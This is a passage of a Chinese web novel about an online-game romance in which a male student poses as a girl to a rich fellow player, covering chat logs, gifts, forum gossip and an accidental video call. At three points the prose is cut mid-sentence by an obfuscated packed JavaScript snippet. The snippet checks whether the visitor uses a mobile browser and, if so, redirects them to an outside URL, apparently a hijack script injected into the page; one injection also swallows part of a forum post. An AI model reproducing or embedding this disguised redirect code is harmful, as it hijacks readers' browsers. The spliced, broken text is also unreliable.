也不知是弹性不好，还是那腿根的地方本身就多点脂肪，丝袜的收口处竟硬生生将肉挤出一圈弧度，紧紧裹着内里的柔软。蕾丝花边的勒痕映照着细嫩的皮肤，颜色对比十分强烈，将白色营造出的清纯感都破坏掉了。 像是张开手就能捏住，又能轻易托起来… 脑海中闪过画面，萧奕然眸色稍暗，磨了磨后槽牙。 他发誓，在此之前，自己对腿这个部位从来没有什么特殊的兴趣，更别提盯到目不转睛了。 遇见漂亮的肉.体，多看几眼是人之常情。他承认，这双腿也确实有吸引人的资本，但这种照片是能随便发在朋友圈的吗？ 大少爷没心思打电动了，而是将注意移到了那个粉白色的头像上。他点开与清清绵绵冰的对话框，往上拖动，才发现自己基本没和她聊过天，仅有的交流都在游戏里面。 萧奕然回忆，两人最后一次说话是在两天以前。小清宝宝约他周六打竞技场，自己回了句没空就下了。 他这几天确实有事，几乎没上线天问，自然不清楚小清宝宝的动向，也不知道她为什么会发这个。 一个没太深交的固玩，游戏里呆头呆脑，结果转头就到朋友圈发这种照片，这是想干什么？ 是的，固玩。这就是萧奕然下的定义，就他们目前的关系来说，多的也算不上了。 可就是这两张固玩发的照片，竟然让他的思绪杂乱，心里说不出的奇怪。 . “暧昧对象在朋友圈发腿照？” 听见萧奕然的话，朋友一副见了鬼的样子，嘴巴都合不上了。 “不是暧昧对象。” 沙发对面，主动咨询的人却没什么表情，云淡风轻，好像不太在意的样子：“最近认识的网友而已。” 朋友腆着脸凑过来：“是不是前两天给你发语音的妹妹啊，声音还挺甜的，要不你给我看看照片。” “不行。” 没想到他听了一声就记到现在，现在竟然还想看腿，萧奕然拧起眉毛：“我想知道的是她为什么要发。” “咳，怎么说呢。以我看人的经验，这是妥妥的心机女，在朋友圈钓鱼呢。” 看他的态度好像真没什么，朋友挠了挠头，点评也比较毒辣，对这一行为给出一个不太正面的评价。竟是误打误撞，差点直击真相。 “钓鱼？她能钓谁。” 听见这些字眼，萧奕然本能有些反感，不知道怎么形容：“这个女生还挺单纯的，给我的感觉有点傻。” “嗨，真正有心机的人怎么会让你觉察到呢，这就是人家的高明之处了。” 看兄弟这幅被蒙在鼓里的样子，朋友越说越起劲，势必要让他知道互联网的险恶：“而且你不会以为穿白丝就很清纯吧？穿白丝的坏女人可是很多的。” “至于要钓谁，这我就不知道了，我也不认识她。但人嘛，哪个不喜欢长得好、兜里有钱的……靠，那也有可能就在钓你啊！我看你在那个叫天问的游戏里花了不少，这妹妹平时对你热情吗，有没有主动撩你？” 说到男女之事，朋友有些激动。面对他的一系列疑问，萧奕然沉思，这还真不好回答。 小清宝宝这个人，看似主动，喜欢拉自己组队。但只要留神注意，就会发现她的很多习惯都像孤狼玩家，双排时也总注意到一些别人发现不了的点。是个奇妙又矛盾的结合体。 一上线就收到的组队邀请、永远只有两个人的队伍列表、磕磕绊绊的夸奖……自从认识之后，她总是无时无刻黏着自己。但自己下线后她还会和谁玩，有哪些朋友，萧奕然一无所知。 假如小清真的在钓鱼，这照片到底是发给谁看的？ 那个什么男高中生？ 顺着这个思路，萧奕然更加不悦，语气冷而生硬。 “不知道。” “……” 朋友沉默，面对这种一问三不知、态度又很差的咨询者，真是让人连八卦的热情都没有了。 也难怪这位楚大少爷条件拔尖，感情经历仍旧为零，就这破性格，谁能受得了啊。 “我现在该怎么做？” 萧奕然又问。 瞧这话说的，既然不是暧昧对象，那还能怎么做，喜欢就继续联系，不喜欢大不了删了。没必要思考，在意才会纠结。 朋友当了半天军师，好处是没有的，白丝腿照也没看见，心里多少明白了点什么。 他没有点破，只是拿起游戏手柄。发誓再也不掺和萧奕然的破事，最后友情提醒一句。 “萧奕然，你要真感兴趣就主动一点，别对人家那么冷。但也别太认真，切记，谁先认真谁就输了。” . 【然：[转账800]】 收到独孤这条莫名其妙的转账时，黎清是有点懵的。 什么情况，独孤怎么会突然来找我。他看见我发的朋友圈了？ 黎清的微信小号目前就加了三个好友，一个男高，一个把他当闺蜜的柚子，还有一个就是独孤。这么小的圈子，发照片居然还得挨个分组，偷偷摸摸的。 截止今天以前，两人还没怎么在微信上说过话。但朋友圈刚发出去半小时，独孤就主动找上门来，怎么看都是照片起了作用。 虽然要的就是这个效果，但当对面真的来联系自己时。黎清突然又有点脸颊发烫，完全没了昨天下单丝袜时的魄力。 可他看见归看见，为什么要转账呢，而且一句话都不说。 难道是发错了？ 看着那诱人的橙色数字，黎清咽了咽口水，伸出去的食指悄悄缩回衣袖。他心烦意乱，索性将脸埋进被子，又抬头看看屏幕。反复几次，不仅脸蹭红了，额前的刘海也乱翘起来。 如果收了，他要我还回去怎么办？ 算了，还是直接问吧。 磨蹭太久，丝袜还没来得及换，与床接触的地方滑溜溜的。黎清趴在床上，将抱枕夹在腿中间，一字一句地认真敲字。 【清清绵绵冰：哥哥你怎么来找我啦，不是说很忙吗】 【清清绵绵冰：为什么要突然转账呀】 要是敢说转错人了，我就直接把他拉黑，黎清暗想。 消息发出去后，聊天框上方很快显示正在输入，却久久没有收到回复，待到屏幕都快被黎清盯穿时，“叮”的提示音才终于响了起来。 【然：忙完了】 【然：顺手】 两个问句，两个回答，看似一一对应，却让人完全摸不着头脑。 这人在说什么，怎么又顺手了？ 出于某种后遗症，黎清现在看见这两个字就有点不爽，继续敲字。 【清清绵绵冰：可我怎么能随便收哥哥的钱呢】 【清清绵绵冰：太突然了（＞＜）】 【然：不是说质量差？】 【然：贴身穿的东西，不要买那种几十块的】 黎清豁然开朗，原来这钱是让自己买袜子的。 不愧是二区富少，百忙之余还会关心游戏好友的生活质量，随手一挥的钱都够买几十条袜子了。当然，他可不会拿去乱买东西，这些钱都要存起来，开学之后租房子。 收下转账，黎清的心情由阴转晴，差点没笑出声，腮边浮现出两个浅浅的梨涡。 拜托，这可是八百块。那些卖假照片的人一张也就几十，自己随手拍就收入一笔巨款，莫非这就是天赋？ 【清清绵绵冰：不是几十块，是九块九两件】 【清清碎冰冰：没忍住给天问充了战令，这个月要吃土了TAT】 其实黎清没充战令，他已经发誓不会再给狗天问花一分钱了。 这些是男高送他的，最近对方淡游了，不想做日常，就拜托他打了好几次副本。黎清不想收熟人的钱，于是就他换成了游戏道具。 【然：战令是什么？】 想来独孤在游戏里花的钱太多，连自己充过哪些东西都忘记了，战令送的破烂从来不放在心上。 【清清绵绵冰：嗯…就是一个充值活动】 【然：上号。】 黎清打开电脑，登录游戏，一上线就被满屏的消息提醒弹花了眼睛。 【玩家“独孤”赠送您时装“芙蓉月暖”＊1】 【玩家“独孤”赠送您时装“灵鹿 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|16995949|193869||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 光”＊1】 【玩家“独孤”赠送您时装“星河入梦”＊1】 …… 黎清震惊，本以为随手转几百已经很夸张了，没想到独孤竟然又送了他这么多时装。 这些东西平时黎清都在商城看见过，但根本买不起，也没什么兴趣。直购不比抽奖，通常单价偏低，在68到268不等，但这些加在一起也有一千多点券了。 看着邮件上方不断出现红点，黎清有些不知所措。 收下这些真的可以吗，独孤今天这是怎么了？ 【私密】小清宝宝：哥哥，你不要再送了 【私密】小清宝宝：这太多了 【私密】独孤：点券根本用不掉 【私密】独孤：你整天穿的那件实在太丑了，换一件 “……” 很好，独孤还是那个独孤，三言两语就能让人心里冒火。 有什么不敢收的，他之前还害我赔了一千五呢…！ 想起之前男高对自己穿搭的评价：人机。现在精心搭配的双马尾小裙子又被当面说丑，黎清怒从胆边生，三两下就将礼盒唰唰拆开。 天问重视社交，赠礼系统也做的无比花哨。收件人点击礼盒时，屏幕上不仅会出现特效，还会提示友情值上升。一连十几件，两人的友情值很快突破500大关，获得了“挚友”头衔。 收下这些，贫瘠的衣柜终于多了些颜色，但黎清却不知道该穿什么，品味一再被质疑，他都开始怀疑自己了。 【私密】小清宝宝：哥哥，这么多衣服，我要穿哪件啊 【私密】独孤：随便 【私密】小清宝宝：哥哥送的，你来决定吧 【私密】独孤：…穿那件枕花眠。 黎清在仓库里翻到了这套时装，浅粉和白色相间的长裙，剪裁漂亮而不失简约，周身还漂浮着花瓣和光点。 点击穿戴，少女身上的衣服随即变成了裙装，双马尾也变成了披散在后面的长发，看上去古香古色。甚至将原本偏可爱风的捏脸都衬出一股仙气，多了丝清冷的味道。 果然一分钱一分货，268的衣服和6元秒杀还是有很大区别的。 欣赏了好一会，黎清这才想起打游戏的事，同意了独孤的组队申请。 “换好了吗，好了就去沙海，你之前不是说想打。” “我说的是周六，那天奖励限时翻倍，现在都周一了。” 听独孤提起这个，黎清也想起这事。他没太在意，本意只是陈述事实，听在人的耳朵里却有几分委屈的味道。 “……我前几天确实有事。” 解释声自耳机那头响起，音量不大，恰逢此时加载条结束，两人被传送进地图。黎清没太听清楚他说了什么，很快进入了备战状态。 和往常一样，他们二人联手，基本上很少翻车，在沙海里畅行无阻。 这样的情景，放在从前黎清简直想都不敢想。他生性谨慎，一个人玩时，地图中的很多地方都不敢踏足，都是在外圈逛逛。 但和独孤一起组队之后，他就不再考虑这些，想去哪里就去哪里。因为他知道，就算自己没能离开，独孤也总能替他报仇，夺回宝物。 【恭喜少侠，成功晋升段位！】 伴随着这次的经验结算，黎清的段位也顺利晋级。在系统激昂的播报声中，一只银色凤凰在结算界面扇动翅膀，腾飞而过，闪亮的尾羽在屏幕中留下三颗璀璨夺目的星辰。 这是不灭星痕段位，也是沙海目前的最高段位。 “升到星痕了！” 玩天问这么长时间，黎清还是第一次看见这个帅气的过场动画，不免有些激动。连嗓子都忘记夹，惊呼出声。 “嗯，厉害。” 耳畔的声音还是没太大波澜，但可能是被黎清的情绪所感染，原本平静的语气也染上一丝不易觉察的笑意。 截了好几张图后，黎清从兴奋中缓过来，这才意识到他已经站着不动很久了，而独孤也没有催促，只是沉默地站在身后。 黎清将游戏视角扭转，看向后方，因为换了新衣服的缘故，两人今天一个白衣金发，翩翩公子。一个淡雅清新，气质甜美。虽然不是官方配套的时装，但色彩搭配却十分和谐，名字周围还漂浮着挚友的标识。 这感觉，简直就像…… 黎清停住了，轻轻咬了咬唇。他突然注意到，比起最初那个一心打架、将自己远远扔在身后的剑修，现在的独孤不用提醒也会放缓脚步，等小清宝宝捡完宝物再去下一个地方，战斗中也会配合药仙的技能，用组合技打出更高的伤害。 不知从什么时候开始，他们之间牵着的那条技能线已经很少会断掉了。 8. 第八章 【私密】柚子：小清，我问你件事，你要老实回答我 又是一次帮会副本，结束之后，大家各自散伙，但帮会里的奶妈柚子却发过来这样一条私信，语气有些神秘。 黎清不知道她想问什么，但还是乖乖配合。 【私密】小清宝宝：嗯，好 【私密】柚子：那我要问了哦 【私密】柚子：你跟我们帮主，是不是偷偷谈上了？ ！？ 黎清震惊，她怎么会这么想呢。 实不相瞒，自己确实有意“勾引”，但至今为止都没什么成效，关系不咸不淡的。 【私密】小清宝宝：没有没有 【私密】柚子：可是你最近不是一直在和帮主双排吗，我加入帮会也有大半年了，从没听说帮主和谁甜双，这也太暧昧了吧 真的假的… 听她这么说，黎清其实不太意外。 他一开始真以为独孤是个海王来着。不过和对方玩了一段时间后，才发现确实不像经常带妹的。 该怎么形容呢，独孤这个人，不仅不像某些男玩家那样饥.渴又压抑，对小清宝宝的示好甚至有点无动于衷，自己应该是错怪他了。 【私密】小清宝宝：不是，只是一起打游戏而已 【私密】小清宝宝：我和男高也会双排啊 【私密】柚子：那今天帮主拍那件玲珑锁干嘛？这分明是药仙的武器，他一个剑修又用不上，肯定是给你拍的 玲珑锁？ 说真的，黎清压根没注意到这个，按照独孤的消费水平，就算包圆所有装备也不奇怪，反正最后都会变成分红，大家喜闻乐见。 ——你想多了，他拍那个装备应该有别的用途… 就在黎清这句话还没打完时，私聊界面的另一个头像却亮了起来。 【私密】独孤：到我这里[坐标] 【私密】独孤：给你个东西 ……不会吧。 黎清点击坐标，因为友情值够高，可以通过定位直接传送去挚友身边。 当交易框内被放进那个品质颇高的玲珑锁时，他才从进惊讶的状态中缓过神来，回头一看，柚子那边俨然已经炸开了锅。 【私聊】柚子：怎么样？我说的对不对 【私聊】柚子：哼哼，没什么能逃过我的法眼 【私聊】柚子：清宝，你怎么不回我 【私聊】柚子：是不是我打探这些让你不高兴了？对不起对不起，我真的是八卦瘾犯了，一时没忍住 【私聊】柚子：你要生气我就不问了[哭哭] 【私聊】柚子：等一下，怎么显示2/7，怎么聊到一半跟别人组队去了 【私聊】柚子：不会是和帮主吧。。 【私聊】柚子：靠，还真是 【私聊】柚子：你俩，我晕、算了…！ 看到柚子这一连串的文字，仿佛能从中窥见她过山车般的心理变化，黎清想要说点什么，但自己现在还拿着新到手的法器呢，该拿什么跟她解释？ 这下真可真是误会大了。 没办法，黎清最后只能发过去一句干巴巴的“我没有生气，但真不是你想的那样”，但因为他太久没回复，另一边的独孤也在队伍里问起来。 “怎么不开麦。” “不喜欢？” “没有不喜欢，刚刚忘记开了。”黎清还记得自己的人设，说起话来也愈发没有压力：“哥哥给的我都喜欢，谢谢哥哥。” “咳——”耳机那头传来咳嗽，随后便又是那道冷静的男声：“今天要干什么？” “唔……我看看。” 翻开活动页面，黎清开始一项项检查起自己的待做列表。最近随着二人越来越熟，不仅副本或竞技场，他们连同江湖任务和限时活动也会一起做。 对此，独孤表示无法理解。这些乱七八糟的活动玩法复杂，给的奖励却很少，有什么非做不可的必要么？浪费时间而已。 黎清相当不认同。 “可玩游戏就是这样子的啊，如果这个不做，那个也不玩，还能干些什么呢，难道我们要组队挂机？” 黎清是真的热爱天问，尽管舍不得花钱，但除氪金以外的项目都会尽力做到完美。 反观独孤，他好像对什么都没太大兴趣，但每天还是到点上线，有活动就氪金，也不知道究竟在想些什么。 “如果实在不想做的话，你等我弄完再来吧，我微信告诉你。” “……” 经过这番讨论，独孤不再提出反对意见。通常就是药仙做任务，他开自动跟随在后面，两人在麦里有一搭没一搭地聊着天，好像和挂机也没什么差别。 今天也是如此。看了一圈，黎清发现自己这周的声望任务还没完成，于是便传送去了接取任务的地方，反正独孤很快就会跟上来的。 . 作为天问从开服就有的环节之一，声望系统一直饱受诟病。 这些任务通常难度不高，但比较乏味，能兑换到的东西也不上不下，是很多网游为了延长玩家在线时间的经典设计。 跟随指引，二人来到岐山。据发布任务的npc所述，最近岐山上冒出一群狼妖，这些妖怪不仅偷吃家畜，还伤了好几个村民，大家苦不堪言。 因此，这个任务的要求就是要玩家去往后山，杀死40只狼妖。但当他们进入指定区域后，黎清手机铃声却突然响了。 “喂？” 他关闭游戏麦，接起电话。 是学校驿站打来的，说是有一个必须本人持身份证明签收的快递，让黎清现在过去一趟。 “不好意思，我出去一下，很快。” 简单和独孤说了一声，黎清离开了宿舍楼。 将快递拿回来已经是十分钟之后。虽然驿站就在楼下，但外面天热，他跑的急，还上下了一趟四楼，短短的路程也累的气喘吁吁。 是太久没运动了吗。 黎清擦了擦额角的汗。他从小就体弱，较同龄人发育更慢。偏偏人又很宅，是个不折不扣的运动白痴。 也正因如此，纤细的腿套上丝袜后才能以假乱真，一点违和感没有，也不知到底算好事还是坏事。 洗了把脸，黎清回到电脑桌前，却看见自己周围堆满了尸体。再看看左上角，消灭狼妖的任务已经完成了39/40。 “回来了。” 伴随着一记行云流水的挥砍，最后一只妖兽也被击杀，独孤开口道。 “嗯嗯。”黎清重新开启游戏麦，倒不太意外独孤帮他做任务。对这位来说，杀几个小怪想必也是‘顺手的事’，轻轻松松而已。 不过他又看见，自己临走前随手给独孤挂着的技能居然还在。药仙挂的buff是范围增益，必须在施法人的身边才能起效。也就是说，自己不在的这段时间里，独孤不仅杀完了这些妖怪，还巧妙的控制了战斗距离。 黎清不是第一次发现这件事，上一次还是在沙海里面。 他是药仙老玩家了，对各个技能的距离感受都十分精准。身为天问中最吃操作的几个职业之一，药仙是个集增益、回血、伤害于一体的综合性职业，对手法的要求也很高。过去，黎清在战斗中都会时刻注意队友的动向，在自保的前提下及时施法，也习惯了被上头的队友丢在身后，自己赶紧跟上。 剑修的技能大多有位移，上天入地，药仙少女周身的那点距离估计只够他平A。 如果说之前还是凑巧，那这下黎清是真的确认了，这位双排队友是有在“迁就”自己。 这个举动，是不是可以理解为他对自己越来越肯定了？黎清分析。 其实到了现在，他对独孤的报复心也不太强烈了，即使两人之间隔着炸单的深仇大恨，也在对方时不时的赠礼中慢慢化解。 也许金钱的力量，也许是二人越来越合拍。迄今为止，黎清自认为没做什么伤害独孤的事，反而每天哥哥长哥哥短的叫着，就差把人夸到天上去，情绪价值给的很足。 我这到底图什么啊？ 黎清真的气自己不够聪明，也没那种捞完就丢的无情，压根就不是骗人的料。 但是没办法，事已至此，坦白自己的真实性别也为时已晚。“小清宝宝”这个账号进入帮会，成了大家公认的女生，还结识了很多新的朋友。 从前单机的时候，黎清并不觉得寂寞，但现在一个人待在宿舍，体验到了有人一起玩游戏的滋味，却有些沉迷社交带来的快乐了。 顺其自然吧，当网友也不错。 黎清默默地想。 . 那之后的第二天，黎清吃完中饭，手机就收到了来自柚子的微信提醒。 【红心柚子：宝，真不是我又八卦哈，只是在论坛刷到这个，你看看】 【红心柚子：[链接：郊外偶遇二区太子爷，大佬这是在玩什么新操作？]】 其实看到这个标题的时候，黎清就有点不详的预感。 这种和区服大佬有关的帖子通常都是差不多的画风，或眼红嫉妒，或跪舔膜拜。两伙人像是趴在有钱人床底下般吵来吵去，各执己见。 平时他是断然不会点进去的，但既然柚子都特地分享过来了，想必内容会有些不同。 他点击链接，屏幕随即跳转到了论坛界面。 … 【此版块为公开】交流灌水专区 【天问分区】日常＞＞＞闲聊 《主题：郊外偶遇二区太子爷，大佬这是在玩什么新 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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靠，这我可太记得了。那会儿这个挑战刚出来的时候，我跟朋友都吐槽这玩意儿简直傻.缺，好好的游戏不玩跑去搞这些。 结果过几天那小子恋上一个对象，屁颠屁颠就跟人家牵红线腻歪去了/[倒拇指][倒拇指] #60 六百六十六，打个游戏拴绳子，还不能断。这跟被女人当狗牵有什么区别？换我是绝对不乐意的 #62 事实是每天在世界频道cpdd都没人找 #62 可是这被当狗的人是独孤啊，这波妹妹属于正义调.教[大拇指] #65 所以说这个小清宝宝是独孤对象？ #70 谁知道呢 … 帖子后面也有人放出了小清宝宝的主页，但因为黎清交际圈窄，中途还换了ID，基本上没人能扒出什么。 只知道这个女号跟独孤一个帮会，两人会双排打游戏，其他的一无所知。 【清清绵绵冰：我看了，谢谢你柚子】 【红心柚子：那你看完之后，怎么想的啊…】 【红心柚子：嗨，那些人你别往心里去，主要是我们帮主和论坛里的一些人有误会，大部分人不是针对你的】 黎清还能怎么想呢？他其实都有点无语了，不仅是因为这种隐私被窥探的感觉，更多的是帖子里那些奇怪的用词。 什么牵狗、调.教的，他玩药仙这么久了，从来没把游戏技能往这个方向想过，和独孤之间的关系也很正常。怎么到了论坛里一看，就好像他们在大庭广众下玩什么雷人的play似的。 【清清绵绵冰：嗯嗯，我知道的】 【清清绵绵冰：那天我挂机是因为去拿快递了，帮主就帮我做了任务。我也从来没有要求过他必须让线不断，他平A应该只是想要打慢一点，顺便等我回来】 【清清绵绵冰：这些人自己心脏，看什么都脏，我不会往心里去的】 黎清也是有点情绪激动了，字打的飞快，比平时按技能还要快一点。而对面的柚子好像也被这番正气凛然的文字震撼到了，半晌没有说话，好几分钟后才发来两条消息。 【红心柚子：啊…你能这么想的话】 【红心柚子：那很好了】 9. 第九章 关于自己在别人眼里的形象，萧奕然心知肚明。 性格差、自我中心、投了个好胎……很多不是正面的评价。 不过也没说错，萧奕然无所谓。他本来就是一个不在乎别人想法的人，或者说，没必要。即使拥有一些缺点，他依旧可以随心所欲。 “萧奕然，你要真对人感兴趣，就主动一点。但也别太认真，切记，谁先认真谁就输了。” 这是那天朋友对他说的话，萧奕然难得听了进去，开始重新审视他和小清的关系。 真的只是普通网友吗？普通网友应该不会每天连麦，不会到点就准时双排，至少他以前从没对谁这样过，这还是第一次。 也许，自己确实对她有点兴趣。 萧奕然是没什么感情经历，但他不是脑子不好使。朋友建议他主动一点，还说女人都喜欢长得好兜里有钱的。 其实这就是句废话，管他是男的女的，难道会有人偏就喜欢又穷又丑的？ 不是自恋，萧奕然觉得自己就完全符合这个标准。所以小清究竟是怎么看待他的？ 这就是黎清收到那笔转账的原因。一番考量之下，萧奕然“随意”地给小清转了笔钱，既展现出了自己大方，又彰显出洒脱的态度，连主动挑起话题的功夫都省了。 至于那两张腿照，他没有过多评价，也没问小清为什么要发、发给谁看。 萧奕然不想表现出自己的在意。如果看见美腿就走不动道，还巴巴凑上去问东问西。丢人现眼不说，跟网上那群性压抑有什么区别。 归根结底与他没有关系。 总之，从那天之后，二人虽然表面上没发生什么，相处模式却暗自发生了变化。 对萧奕然来说，小清好像突然从游戏里的建模变成了一个真实存在的女生——还是一个声音很甜，腿又白又直的女生。 虽然他以前没想过在游戏里发展什么，但现在看来，顺其自然也不错。 暧昧的过程最折磨人。 萧奕然开始无法控制地注意起小清，一上游戏就会点开好友列表，翻找那熟悉的淡粉色头像。 打完本后也不像以前一样急着退出队伍，而是和药仙满地图跑做任务，采药挖矿。 甚至很多时候，对方爱玩的东西他压根不感兴趣，只是单纯地陪在旁边而已。 这样持续一段时间之后，两人之间的相处更亲密了，几乎总是待在一起，游戏下线了也会转而去微信聊天。 8月23日 【清清绵绵冰：今天我晚点上线哦，学校有点事情】 【然：好了叫我】 … 【清清绵绵冰：我弄完了，还玩吗？】 【然：上号】 8月24日 【清清绵绵冰：唉，打本时总是躲不好技能，人太多我会有点乱】 【清清绵绵冰：感觉变菜了怎么回事？】 【然：没事】 【然：我在】 【清清绵绵冰：啊？】 【然：我能补上输出】 8月25日 【然：收拾仓库找到这个戒指[截图]，看看词条你能不能用，用的上就拿走】 【清清绵绵冰：不用了】 【然：那我就拿去销毁了】 【清清绵绵冰：为什么，可以挂交易行卖掉呀】 【然：麻烦。】 【清清绵绵冰：…哦】 【清清绵绵冰：（＞＜）】 【然：到底要不要？】 【清清绵绵冰：要！】 … 类似的聊天记录还有很多，没有特别热烈，但也从不会冷场。 其实小清的话不算特别多，萧奕然也不是健谈的人。但随着变熟，二人的交谈也不再是单方面的客套，而是朋友间的交流互动。 他们凑在一起也总有话题。大部分关于游戏，偶尔也会涉及到现实，而正因为这一点点与现实的交集，才发生了另一件让萧奕然更加在意的事。 . 快开学了。 和许多大学生一样，黎清这几天有点心烦。 倒不是他厌学，恰恰相反，黎清从小成绩就不错，上大学后也保持着专业前几的绩点。 他的心烦并不针对学习，而是因为开学后即将遇到的人、发生的事。 “啊啊——” 一想到室友们都要回来，自由自在的时光所剩无几，黎清就控制不住地心情变差。 什么时候能攒够钱呢，他清点了下自己的余额。这些钱已经够他搬出去了，但出去租房不只要支付房租，随之而来的其他费用也会增加，水电、交通、押金…不能意气用事，必须做好万全准备才行。 因为这些随之到来的东西，黎清经常一整天都不在状态，打游戏时也心不在焉，好几次独孤和他说话都没听见。 下了游戏后，他心里有点过意不去，给独孤发去道歉。 【清清绵绵冰：不好意思，我今天就是心情不好，没有故意无视你】 【然：怎么心情不好】 【清清绵绵冰：没事，就是大学要开学了，我不想开学TAT】 【然：我大学也快开学了】 他居然也要开学？黎清惊讶，虽然他能听出独孤年纪不大，不是自己最初以为的中年土豪，未曾想他居然年轻到这种程度。 大学生，那应该也就二十出头，和自己差不多。可当黎清还在接代练苦哈哈赚钱的时候，这位同龄人已经在游戏里骑龙造凤、称霸氪金榜单了，真是人比人气死人。 想到这些，黎清在床上狠狠滚了几圈，又像条咸鱼一样趴在那一动不动。突然他又记起了一件事，猛地抬头拿起手机。 【清清绵绵冰：对了哥哥，我想起一件很重要的事】 【然：什么事】 【清清绵绵冰：开学之后我们可能就不能经常连麦打游戏了，室友睡得早】 这里黎清撒谎了，其实他那几个室友都是夜猫子，经常联机打moba游戏，大半夜了还旁若无人地砸键盘骂队友，好几次差点和隔壁宿舍吵起来。 开学之后，他必定不能再这样每天和独孤双排了。一来要防独孤听出自己在男生宿舍，二来又要防室友听出自己在装女生打游戏，两厢夹击，可以说是不可能完成的事。 【然：嗯。】 什么嘛，就这点反应。 黎清蹙紧眉头，想到即将不能经常玩游戏，他心里本来 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|16995951|193869||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 就失落，谁知独孤居然这么风轻云淡，好像一点也不在意，他的不高兴突然就转移到这个人身上了。 【清清绵绵冰：嗯是什么意思】 【清清绵绵冰：开心吗】 【清清绵绵冰：还是无所谓】 好歹玩了这么久，竟然连一句可惜都没有，就一个嗯，还带了个句号，装什么装，最讨厌这种单字后面还要跟个标点符号的人了！ 一连好几句话，语气甚至带着质问。其实黎清都不知道自己在打什么，只是胡言乱语地发了过去。就在他仰头看向头顶时，一个微信电话却直接打过来了。 “喂？” 熟悉的声音从话筒里传来，黎清以为自己在解锁屏幕，没想到却是划到了接听按钮。 萧奕然的声音第一次从微信听筒传了出来，因为贴的近，似乎比游戏麦多了点低沉磁性，但黎清却好像听见了阎王索命。 “怎么不出声？话都不会说了，刚刚不是很会打字。” 这可怎么办啊！？ 面对这突然的变故，黎清慌了神。 他已经把电脑关了，临关机前还顺手更新了下系统，微信语音没办法直接用变声器。 一声不吭挂断会不会显得太可疑了？ “唔…没、没啊。” 情急之下，黎清努力吊起嗓子，用气音简短地回应了一下。 时间很晚了，屏幕另一个头的人也正躺在床上，侧着耳朵打电话。 听筒中传出细声细气的声音，好像特别紧张，声音抖个不停。虽然语气还是和往常一样黏糊糊的调子，音色却有些不同。 怎么听着不太一样…… 难道说……？ “你还是正常说话好听点，平时不用故意把声音弄成那样。” 千钧一发之际，黎清还在担心自己穿帮，对面却已经把他脑补成了为了声音甜故意夹嗓子的女生。 虽然她嗲嗲的喊起哥哥来听着也很可爱，但萧奕然还是觉得自然一点更舒服。 其实现在正拼命夹住的黎清：…… “说什么，你、你真的是…” “怎么回事，成结巴了？”如果现在有面镜子，有的人大抵就能看见自己勾起嘴角、春心萌动的嘴脸。 “没，我就是热。” 黎清不知道自己在说什么，已读乱回中，只希望萧奕然快点挂电话：“宿舍空调坏了。” “是因为热，还是打电话紧张？” 他的希望显然落空了，陷入其中的男人已经没完没了起来。 搞什么！ 黎清脚趾都蜷缩起来了，决定自己挂断电话。可意外再次发生，他不小心点到了摄像头的开关，因为是单方面的权限，对面的摄像头是黑的，他被手机屏幕亮光照亮的脸却一下子出现在方框之中。 眼睛睁的圆圆的，脸颊肉被枕头挤的微微嘟起，像角落里突然被手电筒照到的小动物，警惕又震惊地看向来人。 ！？ 就这样猝不及防地见到了暧昧对象的脸，萧奕然还没来得及说点什么，电话就被直接挂断了。直到熄屏的黑色屏幕上反射出自己的五官轮廓，他咚咚狂跳的心才逐渐平静下来。 看来今晚要有人睡不着觉了。 10. 第十章 等到萧奕然反应过来的时候，微信那头的人已经一言不发地挂掉了电话，聊天框也没有动静。 咚、咚。 心跳的前所未有的剧烈，脑海中也一直重复着刚刚闪过的画面。 他看见小清的脸了。 在这之前，萧奕然不是没幻想过对方的长相，也想过以后找个合适的时机互换照片，这属于正常的好奇心。 朋友让他降低期待，网恋有风险，隔着条网线别说好看了，是人是鬼都说不清。最近住在萧奕然家，这人有多沉迷他都看在眼里。好言难劝上了头的男人，他也只敢暗示一下，谁叫一开始还是自己劝兄弟主动的。 萧奕然知道朋友的意思，也知道他说的有道理，但总觉得听起来特别刺耳，心里冒火。 长得好不好看也不是大事，脸有那么重要吗？ 直到小清的脸真的出现在屏幕里的那一刻，他却彻底看呆了。 倒不是因为不好看，反而是实在太好看了。 萧奕然说不出什么复杂的夸赞来形容长相。只知道她的脸很小，很白，皮肤光滑到没有瑕疵，长长的刘海因为侧躺的姿势滑到一边，露出漂亮的、睁得大大的眼睛，看上去几乎有点像未成年。如果不是对方因为震惊微微张开了嘴，他可能会以为自己在看网图。 萧奕然现在是真的不知道怎么形容自己的心情了。诚然，他没把脸看的那么重要，但小清也是真的很好看，比想象的还要更合自己审美。 就是这样的一个人在每天喊自己哥哥、和自己打游戏吗？ 光是这样想着，一种丰盈的满足感就充斥着萧奕然的内心。待到他回过神来，才发现对方迟迟没有说话。 【然：睡着了？】 肯定是害羞了，不好意思回我。 收不到回复，萧奕然就自动为暧昧对象找好理由。 怕把人逼的太急，纵使心里痒地像被猫挠了一样，他还是强行忍耐了下来。 【然：醒了回我】 